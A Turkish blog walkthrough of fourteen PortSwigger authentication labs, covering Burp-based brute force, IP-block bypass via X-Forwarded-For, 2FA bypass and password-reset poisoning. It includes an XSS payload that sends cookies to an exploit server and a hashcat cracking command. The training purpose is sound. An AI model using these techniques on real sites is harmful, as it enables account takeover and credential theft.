PORTSWIGGER WEB SECURITY - AUTHENTICATION LAB ÇÖZÜMLERİ

4 months ago 11

Web uygulamalarının en önemli parçalarından biri olan Authentication, belirli bir kullanıcı veya istemcinin kimliğini doğrulama işlemidir. Sitenin güvenliğini sağlayan ve her kullanıcı hesabı için sınırlar oluşturan bir kimlik doğrulama mekanizmasıdır. Kimlik doğrulama mekanizmaları zayıf olduğunda, brute force saldırılarına karşı yeterince koruma sağlanmadığında, mantık hataları ve uygulamadaki kodların güvenliği zayıf olduğunda Authentication zafiyeti meydana gelmektedir.

Bu çalışmada bahsedilen Authentication zafiyeti için tüm laboratuvar çözümleri ele alınmıştır. Keyifli okumalar..

Lab 1: Username enumeration via different responses

Bu laboratuvarda bize bir kullanıcı adı ve parola listesi verilmektedir. Verilen bu wordlistler aracılığıyla brute force yöntemini kullanarak login olmaya çalışacağız.

Laba erişim sağladıktan sonra My Account sayfasını açalım.

Login panelinde random bir kullanıcı ve parola girelim ve isteği burp proxy ile inceleyelim.

Post metodu ile gönderilen bu isteği send ettiğimizde Invalid username cevabını almaktayız. Anlaşılan sayfada önce arif adında bir username var mı bunun doğrulaması yapılmaktadır. Böyle bir kullanıcı olmadığı için Invalid username cevabı dönmektedir.

Kullanıcı tespit etmek için önce isteği intrudera gönderelim. username değerini $ tagları arasına alalım ve atak tipini Sniper seçelim.

Payload options bölümünden kullanıcı adı wordlistimizi tanımlayalım ve atağımızı başlatalım. Atak sonucunda bir kullanıcı adı (oracle) hariç diğer bütün kullanıcı adlarının Lenght değeri aynıdır. Ayrıca diğer kullanıcı adları için Invalid username cevabını alırken oracle adlı bir kullanıcı olduğu için Incorrect password yanıtını almaktayız.

İsteği intruder üzerinden username=oracle&password=$1234$ şeklinde düzenleyerek bir de parola bilgisi için atak başlatıyoruz.

Atak sonucu, Status sütununda 1qaz2wsx parolası dışında bütün parolalara 200 durum kodunun yanıt olarak döndüğü görülmektedir. Kullanıcımızı ve parolamızı tespit ettiğimize göre login olalım.

Login olduktan sonra oracle kullanıcısına ait Email adresinin oracle@oracle.net olduğu bilgisi verilmektedir. Hesaba erişim sağladığımız için update edebiliriz. Bu laboratuvarın çözümü bu şekildedir.

Lab 2: Username enumeration via subtly different responses

Bu laboratuvarda yapacağımız işlemler bir öncekiyle aynıdır. Sadece gönderdiğimiz isteklere biraz daha farklı yanıtlar alacağız.

Önceki bölümde isteği send ettiğimizde Invalid username yanıtını alıyorduk. Burada ‘Invalid username or password.’ yanıtını almaktayız. İsteği intrudera gönderip username wordlistimizde ki her kullanıcı için dönen yanıtı inceleyelim. username değerini $ tagları arasına alalım ve atak tipini Sniper seçelim.

Payload options bölümünden kullanıcı adı wordlistimizi tanımlayalım. Grep - Extract bölümünden Add butonu ile sayfadan almak istediğimiz hata mesajını (Invalid username or password.) ekleyelim ve atağı başlatalım.

Bütün kullanıcılar için aynı yanıtı alırken atlas kullanıcısına aldığımız yanıt diğer kullanıcılardan farklıdır. Farkı ise sadece bir noktadan ibarettir. Şimdi isteğimizi, parola saldırısı yapmak için username=atlas&password=$1234$ şeklinde değiştirelim.

Parola wordlistimizi tanımladıktan sonra atağı başlatalım. Sayfadan yanıt olarak, 1234567890 parolası haricindeki her parola için 200 durum kodunu alıyoruz ve parolamızı da tespit etmiş bulunuyoruz.

Tespit ettiğimiz kullanıcı adı ve parolayı kullanarak giriş yapabiliriz.

Lab 3: Username enumeration via response timing

Farklı kullanıcı adları ve şifrelerle denemeler yapalım. Çok fazla geçersiz oturum açma girişiminde bulunduğumuz takdirde IP’mizin bloke edileceğini göreceğiz.

İlk 3 denemede Invalid username or password yanıtı almaktayız.

Daha sonrasında tekrar deneme yapalım ve ip adresimizin bloke edildiğini ‘You have made too many incorrect login attempts. Please try again in 30 minutes’ yanıtı ile doğrulayalım.

İsteğimize, IP adresimizi yanıltmamıza ve IP tabanlı brute force korumasını atlamamıza olanak tanıyan X-Forwarded-For başlığını ekleyelim ve destekleniyor ise X-Forwarded-For değerini değişerek birçok kez giriş denemesi gerçekleştirelim. Örneğin değerimizi 200 verip isteği send ettiğimizde ip adresimiz bloke edilmeyecektir ve sayfadan Invalid username or password yanıtı alacağız. Fakat değerimizi sabit tutmamalıyız aksi takdirde 2-3 giriş denemesinden sonra tekrardan bloke edileceğiz.

Intruderda örnek olarak verdiğimiz 200 değerini $ tagları arasına alarak X-Forwarded-For değerinin sürekli değişmesi halinde sayfadan Invalid username or password yanıtını aldığımızı doğruluyoruz. Özetle her isteği gönderdiğimizde X-Forwarded-For değerini değişerek istediğimiz kadar login denemesi yapabilmekteyiz.

Sayfanın Gecikmeye Uğraması

Laboratuvarda ön bilgi olarak bize bir kullanıcı ‘wiener’ ve parola ‘peter’ bilgisi verilmiştir. Kullanıcı doğru parola yanlış girildiğinde, parolanın karakter uzunluğuna bağlı olarak sayfa geç yanıt döndürmektedir. Dolayısıyla başka kullanıcı adlarını bu uzun karakterden oluşan parola ile giriş denemeleri yaparsak sayfanın geç yanıt döndürmesine bağlı olarak kullanıcı tespiti yapabiliriz. Bunun için isteği tekrardan intrudera gönderelim.

Sabit kalmayacağı için X-Forarded-For ve username değerlerini $ tagları arasına alalım ve atak tipini Pitchfork seçelim.

İlk payload tipini Numbers seçip 1 den 100 e kadar 1 er kez artmasını belirtelim. Max fraction digits (max kesirli rakamlar) 0 verelim.

İkinci payload tipini belirledikten sonra username wordlistini tanımlayalım ve atağı başlatalım. Sayfadan en geç sürede yanıt alan kullanıcı ‘Response received’ değerinden de anlaşılacağı üzere anaheim kullanıcısıdır. Doğrulamak için devam ediyoruz.

anaheim kullanıcısına parola denemesi gerçekleştirelim. Bunun için farklı olarak password değerini $ tagları arasına alıyoruz.

Parola listemizi tanımlayıp atağı başlatıyoruz. Parolalardan farklı olarak bir tek qazwsx parolasına sayfadan 302 durum kodu yanıt olarak dönmüştür.

Sayfaya yeniden bir istek atalım ve isteği username=anaheim&password=qazwsx şeklinde değişelim. X-Forwarded-For da random bir değer verdikten sonra isteği forward ediyoruz ve login oluyoruz.

Congratulations, you solved the lab!

Lab 4: Broken brute-force protection, IP block

Bu laboratuvarda login olabileceğimiz bir hesap (wiener:peter) tanımlanmıştır. Bu hesabın bilgilerini kullanarak carlos kullanıcısının parolasını elde edeceğiz.

Önceki bölümde olduğu gibi birkaç yanlış giriş denemesi sonucu ip adresimiz bloke edilmektedir. Ban yememek için farklı bir yöntem kullanacağız.

Hesap açmak için birkaç random (arif:1234 gibi) giriş denemesi yaptığımız zaman Ip’mizin bloke edildiğini görmekteyiz.

wiener kullanıcısıyla sorunsuz bir şekilde login olabiliyoruz.

carlos kullanıcısına ait parola denemesi yaptığımızda Incorrect password hata mesajı almaktayız. Peki parolayı nasıl öğrenebiliriz? carlos kullanıcısının parolasını öğrenmek için ilk önce isteği intrudera gönderelim.

username ve password değerlerini $ tagları arasına alarak atak tipini Pitchfork seçelim.

Kullanıcı wordlisti için 200 satırdan oluşacak ve ilk sıraya wiener gelecek şekilde 100 adet wiener 100 adet carlos kelimesi ekleyelim.

Parola wordlisti için de 100 adet peter (ilk sıradan itibaren birer sıra arayla olacak şekilde) 100 adet de laboratuvarda hazır verilen kelimeleri kullanacağız.

Pitchfork Atak Mantığı

Burada her wiener kullanıcısına peter parolası denk geleceği için login olunacaktır ve birer sıra arayla yapılacağı için sayfa ip adresimizi bloke etmeyecektir. Özetle bir login işlemi gerçekleşecek ve carlos kullanıcısına ait her defasında bir parola denemesi yapılacaktır. Mantığı tam olarak böyledir.

1234567 parolası ile carlos kullanıcısının eşleşmesinde sayfadan 302 durum kodu dönmektedir. Bu parola ile carlos kullanıcısının hesabına erişim sağlayabiliriz.

Congratulations, you solved the lab!

Lab 5: Username enumeration via account lock

Elimizde herhangi bir kullanıcı adı ve parola yoksa brute force saldırısı yapabiliriz fakat belli bir deneme sayısından sonra ip adresimiz bloke ediliyorsa nasıl login olabiliriz bunu göreceğiz.

Random login bilgileriyle deneme yaptığımızda Invalid username or password hata mesajı almaktayız. İsteği intrudera gönderip gerekli ayarları yaptıktan sonra bir brute force yapalım.

İlk önce kullanıcı adını öğreneceğiz. Bunun için username değerini $ tagları arasına alıyoruz. password değerinin sonuna eklenen taglar, Null değerler atayacağımız içindir. Atak tipini Cluster bomb seçip ilerleyelim.

İlk payload setimize, laba erişim öncesi verilen username worlistini tanımlıyoruz.

İkinci setimizde payload tipini Null payloads seçip payload değerini 5 olarak belirliyoruz. Bu şekilde her kullanıcının 5 defa tekrarlanmasını sağlıyoruz.

Intruderda komut satırımızı username=$arif$&password=1234$$ şeklinde düzenlemiştik. Atak sonucunda bir farklılık görülmediği takdirde password=1234$$&username=$arif$ şeklinde değişerek de atağı başlatabiliriz. Ekranda arlington adlı kullanıcıya dönen Length değeri farklıdır. Dolayısıyla arlington kullanıcısına ait parolayı öğreneceğiz.

Intruderda isteği tekrar düzenleyip username=arlington&password=$1234$ şeklinde değişiyoruz ve sadece password wordlistini kullanıyoruz.

Grep - Extract bölümünden Add butonu ile sayfadan almak istediğimiz mesajı (Invalid username or password.) ekleyelim ve atağı başlatalım.

Atak sonucunda bir parola hariç, bazı parola değerlerine Invalid username or password hata mesajı alırken bazı parolalara ise You have made too many incorrect login attempts hata mesajı almaktayız. Yanıt almadığımız parola değeri aaaaaa’dır.

Geriye sadece kimlik doğrulama işlemi kaldı. arlington kullanıcısıyla login olduktan sonra laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

Lab 6: Broken brute-force protection, multiple credentials per request

Bu laboratuvarda tanımlanmış parola bilgisi ile carlos kullanıcısının parolasını öğrenmek için brute force saldırısı gerçekleştireceğiz. Gönderilen istek farklı bir formatta gönderilmektedir. Yanlış kimlik bilgileri ile sayfaya istek gönderelim ve isteği burp aracıyla inceleyelim.

İstek üzerinde kimlik bilgilerinin JSON formatında gönderildiği görülmektedir. password değerine birden fazla parola değeri tanımlayabiliriz.

İsteği repeatera gönderip parolanın tek dize değerine wordlist içindeki parolaları ekliyoruz ve send ediyoruz.

Sayfadan 302 yanıtı dönmektedir. Sağ tıklayıp Show response in browser seçeneği ile tarayıcıdan dönen yanıtı görmek için url adresini kopyalıyoruz.

Adrese gittiğimizde login olup laboratuvarı çözmüş olacağız.

Lab 7: 2FA simple bypass

Birçok web sitesinin login yapısı, yalnızca parola kullanarak tek faktörlü kimlik doğrulamasına dayanmaktadır. Bazı web sayfaları ise kullanıcıların birden fazla kimlik doğrulama yöntemi kullanarak login olmalarını istemektedir. Bu laboratuvarda geçerli iki adet username:password (wiener:peter > carlos:montoya) mevcuttur ve ilk kimlik bilgilerini kullanarak carlos kullanıcısının hesabına doğrulama kodunu girmeden erişim sağlayacağız.

wiener kullanıcısıyla giriş yapalım. Hesaba erişim sağlayabilmemiz için bizden doğrulama kodunu girmemiz istenmektedir. Bunun için Email istemcisinden doğrulama kodunu öğrenelim.

Doğrulama kodu 0226'dır.

Doğrulama kodunu girdikten sonra login oluyoruz. Burada url adresimize dikkat edersek my-account dizininde login olmaktayız.

carlos kullanıcısıyla login olduktan sonra karşımıza gelen doğrulama kodu ekranında url adresine dikkat edelim. login2 sayfasını değil de my-account sayfasını çağırsak erişim sağlayabilir miyiz?

Bu web sitesi, talep edilen sayfayı yüklemeden önce, ikinci adımı tamamlayıp tamamlamadığımızı kontrol etmemektedir. Dolayısıyla my-account sayfasını görüntülediğimizde carlos kullanıcısıyla erişim sağlamış olacağız.

Congratulations, you solved the lab!

Lab 8: 2FA broken logic

Bazı web sayfaları, kullanıcı ilk oturum açma adımını tamamladıktan sonra, kullanıcının ikinci adımı tamamlayıp tamamlamadığını yeterince doğrulamamaktadır. Dolayısıyla başka bir kullanıcı üzerinden erişim sağlanabilir, saldırı gerçekleştirilebilir. Laba erişim öncesi geçerli bir username:password (wiener:peter) hesap mevcuttur. Bu bilgiler ile başka bir kullanıcının hesabına erişim sağlayacağız.

wiener ve peter kimlik bilgilerini girerek gönderdiğimiz isteği burp aracıyla inceliyoruz. Gönderilen parametreler arasında bir verify doğrulama parametresi var ve wiener değeriyle gönderilmektedir.

İsteği repeaterda send ettiğimizde, sayfanın bizden 4 karakterli güvenlik kodunu girmemizi istediğini görmekteyiz.

verify parametresini değişerek başka bir kullanıcı adı (carlos) giriyoruz ve send ediyoruz. Sayfanın aynı şekilde güvenlik kodunu istediğini görmekteyiz. Web sayfası ikinci doğrulama adımını yeterince kontrol etmemektedir.

Ardından wiener kullanıcısıyla oturum açıp ikinci adımda güvenlik kodunu girerek isteği burp proxy de inceleyelim. Güvenlik kodu mfa-code parametresi ile gönderilmektedir. İsteği intrudera gönderip bir brute force saldırısı gerçekleştirelim.

Hesabına erişmek istediğimiz kurban kullanıcı carlos olduğu için verify parametresini carlos olarak belirliyoruz ve güvenlik kodunu $ tagları arasına alıyoruz.

Payload tipini brute force olarak seçtikten sonra karakter setine rakamları tanımlıyoruz ve doğrulama kodu 4 haneli olduğu için max-min lenght değerlerini 4 olarak belirliyoruz. Ardından atağı başlatıyoruz.

Atak sonucunda sayfadan, bir doğrulama koduna (1991) 302 yanıtı dönmektedir. Ayrıca Length değeride diğer payloadlara göre oldukça farklıdır. Sağ tıklayıp Show response in browser seçeneği ile tarayıcıdan dönen yanıtı görmek için url adresini kopyalıyoruz.

Tarayıcıdan adrese gittiğimizde carlos kullanıcısıyla erişim sağlamış olacağız. Congratulations, you solved the lab!

Lab 9: 2FA bypass using a brute-force attack

2FA doğrulama kodları genellikle 4 veya 6 basamaklı basit bir sayıdır. Web siteleri, 2FA doğrulama kodunun brute force saldırılarına maruz kalmaması adına güvenlik önlemleri almaktadır. Bu laboratuvarda belirli sayıda yanlış doğrulama kodu girildiği zaman kullanıcının oturumu otomatik olarak kapatılarak saldırı önlenmeye çalışılmaktadır. Fakat burp suite aracında makrolar oluşturarak bu çok adımlı süreci otomatikleştirebilir ve saldırı gerçekleştirebiliriz.

Geçerli username ve password bilgisiyle(carlos:montoya) sistemde oturum açtıktan sonra istenen doğrulama kodunu 2 defa yanlış girdiğimizde Incorrect security code hata mesajını alacağız ve tekrar login paneline yönlendirileceğiz.

Doğrulama kodunu öğrenebilmemiz için bir brute force saldırısı gerçekleştireceğiz fakat öncesinde “Project options” > “Sessions”>”Add” adımlarını izleyerek Session handling rule editor penceresini açıyoruz ve Scope sekmesinde Include all URLs seçiyoruz.

Daha sonra “Details” sekmesindeki “Rule Actions” bölümünden “Run a macro” seçeneğini ekliyoruz. Ardından “Select Macro” sekmesi altında “Add” e tıklayarak “Macro Recorder” penceresini açıyoruz. Ekrandan belirtilen 3 isteği seçip onayladıktan sonra “Macro Editor” iletişim kutusu açılmaktadır.

Test macro seçeneği ile makroları test ediyoruz. Üçüncü isteğimizin yanıtı farklıdır ve sayfadan 4 basamaklı güvenlik kodunu girmemizi isteyen bir yanıt dönmektedir. Kullandığımız Makro özelliği sayesinde, Burp Intruder ile göndereceğimiz her istek öncesi carlos kullanıcısıyla otomatik olarak oturum açmış olacağız. Doğrulama kodunun yer aldığı POST /login2 isteğini intrudera gönderelim.

Doğrulama koduna saldırı gerçekleştireceğimiz için mfa-code değerini $ tagları arasına alalım.

Payload tipini Numbers seçip 1 den 9999 e kadar 1 er defa artacak şekilde değerlerimizi verelim. Max-Min integer digits ile basamak sayısını 4, Max fraction digits 0 ile ondalıklı olmamasını belirtelim ve atağı başlatalım.

Atak sonucunda isteklerden biri 302 durum kodu döndürmektedir. Bu isteğe sağ tıklayıp Show response in browser seçeneği ile tarayıcıdan dönen yanıtı görmek için url adresini kopyalıyoruz.

Tarayıcıdan adrese gittiğimizde carlos kullanıcısıyla erişim sağlamış olacağız. Congratulations, you solved the lab!

Lab 10: Brute-forcing a stay-logged-in cookie

Bir web sayfasında oturum açarken Remember me veya Stay logged in özellikler mevcut ve sayfaya istek gönderilirken cookie bilgisi açık bir şekilde görülüyorsa, bu cookie bilgisi şifrelenmiş olsa dahi saldırılar gerçekleştirilebilir ve decode edilebilir. Bu laboratuvarda wiener kullanıcısına ait cookie bilgisiyle carlos kullanıcısının parolasını öğreneceğiz.

Geçerli wiener:peter kullanıcı bilgileriyle stay logged in (oturumu açık tut) seçeneğini işaretleyerek giriş yapalım.

Ardından burp suite aracımızla my-account sayfasına yaptığımız bu isteği görüntüleyelim. stay-logged-in parametresi altında bir cookie bilgisi yer almaktadır.

Burp Decoder özelliği ile bu cookie bilgisini base64 formatında decode edelim. username:hash(wiener:md5) formatında bir çıktı alıyoruz.

Bu hashi decrypt ettiğimiz zaman peter çıktısını almaktayız. Yani cookie bilgisi username:parola şeklinde fakat parolası hashlenmiş bir şekilde yer almaktadır. wiener hesabıyla işimiz kalmadığı için çıkış yapalım.

Sonrasında isteği intrudera gönderelim. Brute force saldırısını cookie üzerinden gerçekleştireceğimiz için stay-logged-in bilgisini $ tagları arasına alıyoruz.

Payload options bölümünden tanımlanmış password listesini ekleyelim. Atağı başlatmadan önce Payload Processing bölümünde bir kaç kural tanımlamamız gerekmektedir. Hash tipi MD5, formatı Add prefix: carlos: ve encode türü Base64 olacak şekilde 3 kural ekleyeceğiz.

Atağı başlattığımızda parolalar md5 moduyla hashlenecek ve carlos:hashlenmiş_parola formatına dönüşecektir. Ardından baştan sona base64 formatında encode edilerek sayfaya tek tek istek gönderilecektir.

“Update email” butonu yalnızca oturum açıldığı zaman görüntülendiğinden, Grep - Match bölümünden sayfaya gönderilen istekler sonucu yanıt olarak Update email yazısının olduğu sayfa dönüyorsa bunu belirtmesini istiyoruz. Sonrasında atağı başlatıyoruz.

Gönderilen bir payloadın, sayfadan Update email yanıtını döndürdüğünü görüyoruz. İsteğe sağ tıklayıp Show response in browser seçeneği ile tarayıcıdan dönen yanıtı görmek için url adresini kopyalıyoruz.

Tarayıcıdan adrese gittiğimizde carlos kullanıcısıyla erişim sağlamış olacağız. Congratulations, you solved the lab!

Lab 11: Offline password cracking

Bir önceki laboratuvarda olduğu gibi kullanıcının parola hashi stay-logged-in parametresi altında saklanmaktadır. Ayrıca bir XSS zafiyeti de mevcuttur. Laboratuvarı çözmek için carlos kullanıcısının cookie bilgisini kullanarak parolasını öğreneceğiz ve login olduktan sonra hesabı sileceğiz.

Geçerli kullanıcı hesabı (wiener:peter) ile login olduğumuzda karşımıza Email adresimizi güncelleyebileceğimiz ve hesabı silebileceğimiz bir sayfa çıkmaktadır.

my-account sayfasına yaptığımız bu isteği görüntüleyelim ve stay-logged-in parametresi altında bir cookie bilgisinin yer aldığını görelim.

Burp Decoder özelliği ile bu cookie bilgisini base64 formatında decode edelim. username:hash(wiener:md5) formatında bir çıktı alıyoruz.

Bu hashi decrypt ettiğimiz zaman peter çıktısını almaktayız. Yani cookie bilgisi username:parola şeklinde fakat parolası hashlenmiş bir şekilde yer almaktadır.

Hesap aktif ve herhangi bir blog yazısını inceleyebiliriz. Blog yazılarının alt tarafında comment (yorum yapabileceğimiz) bir bölüm vardır. Input alanlarda XSS denemesi yapabiliriz. Zafiyeti anlamak için basit bir javascript kodu “<script>alert(5)</script>” çalıştırıyoruz.

Post comment edip ardından blog sayfasına geri dönünce kodun çalıştığını ve XSS zafiyetinin varlığını tespit etmiş olacağız.

Şimdi ise daha farklı bir kod submit ediyoruz. Laboratuvarda access loglarını inceleyebileceğimiz bir exploit sunucusu vardır. Submit ettiğimiz <script>document.location=’//exploit-ac491fed1e420e4ec02c0bd9016e0020.web-security-academy.net/’+document.cookie</script> Javascript koduyla bir cookie bilgisi istiyoruz ve lokasyon olarak Exploit sunucusunda yer alan url adresini veriyoruz.

Access loglarını incelediğimizde cookie bilgisini tespit edeceğiz.

Tespit ettiğimiz cookie bilgisini base64 formatında decode edelim. Aynı şekilde username:hash(wiener:md5) formatında bir çıktı alıyoruz. Bu MD5 hashini kırdığımız takdirde parolayı öğrenmiş olacağız.

Deneme laboratuvarlarında encode edilmiş şifreleri bazı web sayfaları aracılığıyla decode edebiliriz fakat gerçek sızma testlerinde hashcat gibi toollarla kırmak daha doğru olacaktır.

Hash bilgisini echo “26323c16d5f4dabff3bb136f2460a943” > hash.txt komut satırıyla hash.txt adlı bir dosyaya kaydediyorum. Ardından hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt komut satırını çalıştırarak bir wordlist yardımı ile parola bilgisinin onceuponatime olduğunu öğreniyoruz.

carlos:onceuponatime hesap bilgisiyle login olduktan sonra carlos kullanıcısının hesap bilgilerini delete edip laboratuvarı çözmüş olacağız.

Lab 12: Password reset broken logic

Web sayfalarının birçoğunda, hesap parolasının unutulduğu zamanlar Parolanı mı unuttun? seçeneği ile kullanıcı adımızı yada tanımladığımız email adresini doğrulayarak parolamızı sıfırlayabilmekteyiz. Bunu da çoğunlukla Email adresimize gelen bağlantıya tıklayarak yönlendirildiğimiz sayfa üzerinden yapmaktayız. Web sayfası arka planda kullanıcıya ait token bilgisinin var olup olmadığını ve varsa hangi kullanıcının parolasını sıfırlaması gerektiğini kontrol etmelidir aksi takdirde bir zafiyetin olması söz konusudur.

Bu laboratuvarda wiener:peter kimlik bilgilerini kullanarak carlos kullanıcısının hesabını sileceğiz.

Bu bölüm ve sonrası için sayfanın login panelinde Forgot password? seçeneği vardır ve şifremizi unuttuğumuzu varsayarak ilerleyeceğiz.

wiener kullanıcısı ile hesabımızı doğrulayalım.

Parola bağlantısı için email istemcimizi kontrol etmemiz bildirilmektedir.

Email client sayfasında parolamızı sıfırlamak için kullanacağımız bağlantıyı görmekteyiz. Bu bağlantıya gittiğimizde yeni parolamızı (peter1:peter1) oluşturuyoruz.

Yeni parola oluşturup gönderdiğimiz bu isteği Burp aracıyla inceleyelim. Alt ve üst tarafta temp-forget-password-token başlığı altında bir token bilgisi yer almaktadır.

Token bilgisini silip isteği send ettiğimizde sayfadan aynı response almaktayız. Parola sıfırlama işlevi hala çalışmaktadır ve token bilgisi sayfa tarafından denetlenmemektedir.

Kullanıcı adını carlos olarak değiştirip tekrardan parola sıfırlama isteğinde bulunalım ve aynı yanıtı aldığımızı gözlemleyelim. carlos kullanıcısının şifresi peter1 olarak değiştirilmiş oldu.

carlos:peter1 kimlik bilgileriyle login olduktan sonra laboratuvarı çözmüş olacağız.

Lab 13: Password reset poisoning via middleware

Bir web sayfasında URL dinamik olarak oluşturulmuşsa ve yeteri kadar denetlenmiyorsa burada bir zafiyet meydana gelir. Saldırgan başka bir kullanıcının token bilgisini ele geçirebilir ve şifresini değiştirmek için kullanabilir. Bu laboratuvarda isteğimize X-Forwarded-Host parametresini ekleyip sunucu adresimizi tanımlayarak token bilgisini elde edeceğiz.

Önceki bölümde olduğu gibi şifremizi unuttuğumuzu varsayarak login panelinde Forgot password? seçeneği ile devam edelim ve ardından wiener kullanıcısı ile hesabımızı doğrulayalım.

Go to exploit server > Email client adımlarını izleyerek gönderilen bağlantıyı görebiliriz.

Email client sayfasında parolamızı sıfırlamak için kullanacağımız bağlantıyı görmekteyiz. Bu bağlantıya gittiğimizde yeni parolamızı (peter1:peter1) oluşturuyoruz.

Yeni parola oluşturacağımız bu sayfaya gönderdiğimiz isteği Burp aracıyla inceleyelim. X-Forwarded-Host başlığı destekleniyor mu doğrulayalım.

İsteğe X-Forwarded-Host başlığını ekleyerek exploit sunucu adresini tanımlayalım ve kurban kullanıcımız carlos için isteği send edelim. Sayfadan aynı yanıtı aldığımıza göre başlığımız desteklenmektedir.

Exploit sunucusunda yer alan access loglarını incelediğimizde sayfaya carlos kullanıcısı için yaptığımız istek sonucunda bir token bilgisinin düştüğünü görmekteyiz.

Token bilgisini daha önce parola sıfırlama sayfasına yönlendiren email bağlantısındaki token bilgisini silerek değişiyoruz. Sonrasında carlos kullanıcısı için parola değişimi yapıp yeni parola ile login oluyoruz.

Congratulations, you solved the lab!

Lab 14: Password brute-force via password change

Bazı web sayfalarında parola yenilerken, kullanıcıdan önce geçerli parola bilgisi ardından yeni parola ve tekrarı istenmektedir. Parolaların eşleşmemesi yada geçerli parolanın yanlış girilmesi durumlarında sayfadan farklı yanıtlar alabiliriz. Alınan bu yanıtlara göre fikir sahibi olabilir saldırılar gerçekleştirebiliriz. Bu laboratuvarda wiener kullanıcısıyla login olacağız ve parola değişimi için istenen değerleri yanlış veya doğru girerek response analizi yapacağız. Ardından bir brute force saldırısı ile carlos kullanısına ait parolayı öğrenip login olacağız.

wiener:peter kimlik bilgileriyle login olduktan sonra karşımıza parola yenileme ekranı gelmektedir.

Geçerli parolayı yanlış (password) tanımladığımızda ve yeni parolaların her ikisinide aynı (1234) tanımladığımızda hesap kitlenecektir ve bizi tekrar login paneline yönlendirecektir.

Geçerli parolayı yanlış (password) tanımladığımızda ve yeni parolaları farklı (1234 -123456 gibi) tanımladığımızda Current password is incorrect hata mesajı almaktayız.

Geçerli parolamızı doğru (peter) tanımladığımızda, yeni parolaları farklı (1234 ve 123456 gibi) tanımladığımızda New passwords do not match hata mesajını almaktayız.

Sonuç olarak kullanıcının parolasını doğru ve yeni parola değerlerini farklı send ettiğimizde sayfadan New passwords do not match yanıtını almaktayız. Aldığımız bu yanıta göre bir brute force saldırısı ile carlos kullanıcısının parolasını öğreneceğiz. İsteği intrudera gönderip username’i carlos olarak değiştikten sonra current-password değerini $ tagları arasına alalım.

Laba erişim öncesi tanımlanan password listesini atayalım.

Geçerli parolamız doğru, yeni parolalarımız eşleşmediği zaman ‘New passwords do not match’ yanıtını aldığımız için Grep - Match bölümüne bu yanıtı ekleyelim.

Bulmak istediğimiz, ‘New passwords do not match’ yanıtını döndüren parola değeridir. Atak sonucunda aaaaaa parolasının belirttiğimiz yanıtı döndürdüğünü görüyoruz.

carlos:aaaaaa kimlik bilgileriyle login olduğumuzda son laboratuvarımızıda çözmüş olacağız.

Read Entire Article